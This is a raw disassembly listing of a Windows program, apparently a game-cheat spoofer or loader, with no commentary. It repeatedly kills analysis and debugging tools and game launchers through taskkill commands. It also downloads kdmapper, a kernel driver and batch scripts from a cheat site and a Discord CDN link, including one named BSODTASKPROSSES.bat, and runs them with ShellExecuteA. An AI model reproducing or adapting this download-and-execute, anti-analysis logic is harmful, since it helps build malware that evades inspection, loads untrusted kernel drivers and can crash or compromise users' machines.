lea rcx, [rsp + 0xe230]
call fcn.14005d8e0
movss xmm1, dword [0x14039cef4]
xorps xmm0, xmm0
call fcn.1400cdb80
movss xmm1, dword [0x14039cef4]
xorps xmm0, xmm0
call fcn.1400cdb80
movss xmm2, dword [0x14039ce20]
movss xmm1, dword [0x14039ce44]
lea rcx, [rsp + 0x8c0]
call fcn.14005eef0
lea rdx, [rsp + 0x8c0]
lea rcx, str.NULL
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x140084405
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USeacunban.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFIVE_M.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USDISCORDVERSION.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USBATTLENET.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USVALORANT.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodeeepcleanwifisystem.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoeacunban.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIVE_M.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDISCORDVERSION.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoBATTLENET.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoVALORANT.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
call fcn.1402b632c
lea rdx, str.http:__nxtg3ncheats.com_download_privatenxtv2spoofingdrivers_fixspooferv2namesss_asap_kdmapper.exe
lea rcx, [rsp + 0xe470]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xe450]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_NULLSPOOF_NULLSPOOF.sys
lea rcx, [rsp + 0xe430]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
lea rcx, [rsp + 0xe410]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_privatenxtv2spoofingdrivers_fixspooferv2namesss_asap_DriverMapperNULLSpoofyy.bat.bat
lea rcx, [rsp + 0xe3f0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
lea rcx, [rsp + 0xe3d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xe3d0]
call fcn.14005d8d0
mov qword [rsp + 0x8c8], rax
lea rcx, [rsp + 0xe3f0]
call fcn.14005d8d0
mov qword [rsp + 0x8d0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x8c8]
mov rdx, qword [rsp + 0x8d0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xe450]
call fcn.14005d8d0
mov qword [rsp + 0x8d8], rax
lea rcx, [rsp + 0xe470]
call fcn.14005d8d0
mov qword [rsp + 0x8e0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x8d8]
mov rdx, qword [rsp + 0x8e0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xe410]
call fcn.14005d8d0
mov qword [rsp + 0x8e8], rax
lea rcx, [rsp + 0xe430]
call fcn.14005d8d0
mov qword [rsp + 0x8f0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x8e8]
mov rdx, qword [rsp + 0x8f0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom2.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xe3b0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xe390]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xe390]
call fcn.14005d8d0
mov qword [rsp + 0x8f8], rax
lea rcx, [rsp + 0xe3b0]
call fcn.14005d8d0
mov qword [rsp + 0x900], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x8f8]
mov rdx, qword [rsp + 0x900]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.14006ba20
call fcn.14006ba70
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xe370]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xe350]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xe350]
call fcn.14005d8d0
mov qword [rsp + 0x908], rax
lea rcx, [rsp + 0xe370]
call fcn.14005d8d0
mov qword [rsp + 0x910], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x908]
mov rdx, qword [rsp + 0x910]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
